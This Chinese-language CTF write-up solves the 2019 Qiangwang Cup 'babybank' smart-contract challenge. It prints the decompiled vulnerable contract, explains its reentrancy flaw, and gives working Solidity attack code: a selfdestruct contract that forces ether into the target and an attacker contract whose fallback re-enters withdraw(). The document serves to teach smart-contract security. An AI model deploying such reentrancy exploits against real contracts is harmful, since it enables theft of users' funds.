前言
近年來,各個大型CTF(Capture The Flag,中文一般譯作奪旗賽,在網絡安全領域中指的是網絡安全技術人員之間進行技術競技的一種比賽形式)比賽中都有了區塊鏈攻防的身影,而且出現的題目絕大多數都是區塊鏈智能合約攻防。此系列文章我們主要以智能合約攻防為中心,來剖析智能合約攻防的要點,前兩篇我們分享了合約反編譯,反彙編的基礎內容。後續的文章中,我們會繼續分享CTF比賽中智能合約常見題型(重入,整數溢出,空投,隨機數可控等)及解題思路,相信會給讀者帶來不一樣的收穫。
本篇我們先來分享CTF比賽中的重入題型,也是比較常見的一類題型,當然多數CTF智能合約題目並不僅僅考察單個漏洞的攻防,合約中的判斷條件有時也非常棘手。比如2018年WCTF上BelluminarBank題目,需要用到整數繞過條件限制,還需用到存儲溢出,訪問權限設置等多個攻擊技巧。
本篇分享的重入題型我們選擇2019強網杯babybank題目。
題目地址:https://ropsten.etherscan.io/address/0x93466d15A8706264Aa70edBCb69B7e13394D049f#code
題目分析
題目提示:
function payforflag(string md5ofteamtoken,string b64email) public{ require(balance[msg.sender] >= 10000000000); balance[msg.sender]=0; owner.transfer(address(this).balance); emit sendflag(md5ofteamtoken,b64email); }
合約源碼:
查看合約題目,發現並沒有ether,也沒有給出合約源碼,如下圖:
由於拿到題目後只有合約的opcode,所以需要進行逆向,這裡我們推薦Online Solidity Decompiler在線網站(https://ethervm.io/decompile),具體逆向時的源碼還原我們不再贅述,需要學習的同學可移步系列文章反編譯篇,反彙編篇
以下為逆向後的合約代碼:
```solidity
pragma solidity ^0.4.23;
contract babybank {
mapping(address => uint) public balance;
mapping(address => uint) public level;
address owner;
uint secret;
event sendflag(string md5ofteamtoken,string b64email);
constructor()public{
owner = msg.sender;
}
function payforflag(string md5ofteamtoken,string b64email) public{
require(balance[msg.sender] >= 10000000000);
balance[msg.sender]=0;
owner.transfer(address(this).balance);
emit sendflag(md5ofteamtoken,b64email);
}
modifier onlyOwner(){
require(msg.sender == owner);
_;
}
function withdraw(uint256 amount) public {
require(amount == 2);
require(amount <= balance[msg.sender]);
address(msg.sender).call.value(amount * 0x5af3107a4000)(); //重入漏洞點
balance[msg.sender] -= amount;
}
function profit() public {
require(level[msg.sender] == 0);
balance[msg.sender] += 1;
level[msg.sender] += 1;
}
function xxx(uint256 number) public onlyOwner {
secret = number;
}
function guess(uint256 number) public {
require(number == secret);
require(level[msg.sender] == 1);
balance[msg.sender] += 1;
level[msg.sender] += 1;
}
function transfer(address to, uint256 amount) public {
require(balance[msg.sender] >= amount);
require(amount == 2);
require(level[msg.sender] == 2);
balance[msg.sender] = 0;
balance[to] = amount;
}
}
```
合約分析:
我們先來看題目提示:
```
function payforflag(string md5ofteamtoken,string b64email) public{
require(balance[msg.sender] >= 10000000000); //調用者餘額需大於等於10000000000
balance[msg.sender]=0;
owner.transfer(address(this).balance);
emit sendflag(md5ofteamtoken,b64email);
}
```
從該段代碼的payforflag函數可以看出,該函數傳入兩個參數(md5ofteamtoken,b64email),函數中第一行代碼require(balance[msg.sender] >= 10000000000);會判斷調用者地址餘額是否大於等於10000000000,如果滿足該條件,則繼續執行之後代碼,否則停止執行該函數並回滾狀態;第二行和第三行對調用者地址進行了賦值和轉帳;最後一行emit sendflag(md5ofteamtoken,b64email);意義是通過event事件輸出該函數傳入的兩個參數。
也就是說只要通過該事件輸出這兩個參數,就意味著拿到了flag,那麼如何讓調用者地址餘額達到10000000000就是我們接下來需要做的工作。
通過分析合約,我們發現在withdraw函數中,存在一個經典的重入漏洞。
```
function withdraw(uint256 amount) public {
require(amount == 2);
require(amount <= balance[msg.sender]);
address(msg.sender).call.value(amount * 0x5af3107a4000)(); // 重入漏洞點
balance[msg.sender] -= amount;
}
```
該withdraw函數中,第一行代碼require(amount == 2);限制該函數傳入的amount值為2,否則停止執行該函數並回滾狀態;第二行代碼require(amount <= balance[msg.sender]); 會判斷調用者地址是否大於等於2,如果滿足該條件,則繼續執行之後代碼,否則停止執行該函數並回滾狀態;第三行代碼含義是進行轉帳,由於這裡使用call.value()的轉帳方法,所以存在重入漏洞;之後利用第四行減掉已經轉出的數值,由於這裡balance[msg.sender]值已經大於等於2,故不存在整數下溢出。
這裡的重入漏洞點為:
使用call.value()方法進行轉帳時,該方法會傳遞所有可用 Gas 進行調用,當該方法轉帳的地址為攻擊者的合約地址時,就會調用攻擊者合約地址的fallback函數,如果攻擊者在自身合約的fallback函數中寫入調用題目withdraw函數的代碼,就可不停的循環取幣,不再執行第四行balance[msg.sender] -= amount;的減幣操作,從而導致發生重入漏洞。
接下來的工作滿足2 <= balance[msg.sender]的判斷條件成立
繼續分析合約,可以得到合約中兩個增加數值的函數(profit()函數和guess()函數)。
```
function profit() public {
require(level[msg.sender] == 0);
balance[msg.sender] += 1;
level[msg.sender] += 1;
}
function xxx(uint256 number) public onlyOwner {
secret = number;
}
function guess(uint256 number) public {
require(number == secret);
require(level[msg.sender] == 1);
balance[msg.sender] += 1;
level[msg.sender] += 1;
}
```
profit()函數中,地址餘額為0的條件滿足後,就可使得level值加1,調用者地址balance值加1。
guess()函數中,首先判斷輸入的number值是否與secret值匹配(在合約信息中找到secret值),之後判斷level是否為1(當profit函數調用成功後,這裡的level值必然為1),當兩個條件都滿足後,就可繼續給level值再加1,調用者地址balance值也加1。當profit()和guess()函數依次調用成功後,調用者地址balance結果就為2。
達到了withdraw函數中的取款條件。
解題思路
通過上述合約分析,我們最終的解題思路如下:
自毀給題目合約轉幣–由於初始合約並未給出ether,所以需要利用自毀函數selfdestruct()強制給題目合約轉入ether。調用題目合約profit()函數–由於初始地址均為0,故通過調用該函數給調用者地址的餘額加一(balance=1)調用題目合約guess()函數並傳入調用數據data參數–通過調用該函數給調用者地址的餘額繼續加一(balance=2)調用題目合約withdraw()函數並傳入參數2–達到2<=balance[msg.sender]判斷條件,通過call.value()循環取幣。調用題目合約payforflag()函數並傳入兩個參數–通過重入漏洞取幣後,滿足balance[msg.sender] >= 10000000000的判斷條件,待函數執行完成後,獲取flag成功。下面進行攻擊演示
攻擊演示
1.自毀給題目合約轉幣
由於合約初始狀態沒有ether,故我們通過自毀函數,強行將ether轉入被攻擊合約地址
構造自毀合約
```
pragma solidity ^0.4.24;
contract Abcc {
function kill() public payable {
selfdestruct(address(0x93466d15A8706264Aa70edBCb69B7e13394D049f));
}
}
```
部署Abcc合約,並利用kill()函數進行帶入0.2ether進行自毀,將ether發送到被攻擊合約地址
發送成功
2.部署攻擊合約
```
pragma solidity ^0.4.24;
interface BabybankInterface {
function withdraw(uint256 amount) external;
function profit() external;
function guess(uint256 number) external;
function transfer(address to, uint256 amount) external;
function payforflag(string md5ofteamtoken, string b64email) external;
}
contract attacker {
BabybankInterface constant private target = BabybankInterface(0x93466d15A8706264Aa70edBCb69B7e13394D049f);
uint private flag = 0;
function exploit() public payable {
target.profit();
target.guess(0x0000000000002f13bfb32a59389ca77789785b1a2d36c26321852e813491a1ca);
target.withdraw(2);
target.payforflag("king", "king");
}
function() external payable {
require (flag == 0);
flag = 1;
target.withdraw(2);
}
}
```
從以上攻擊合約中可以看出,我們在exploit()函數中依次調用了題目合約profit(),guess(),withdraw(),payforflag()函數。
部署攻擊合約之後,調用expoit函數
合約交易記錄中可看到一系列操作,最後的一個交易是將合約中的ETH全部提現到合約所有者地址中
查看事件記錄,已有sendflag事件
總結
本篇文章中,我們通過CTF智能合約babybank題目,了解了重入漏洞的觸發點,合約空投的利用和對交易數據的理解。對於此類重入漏洞題目,我們做題的思路是:根據該合約的重入漏洞逐步去推理所需要的條件,並經過分析梳理出調用步驟,最終完成攻擊流程。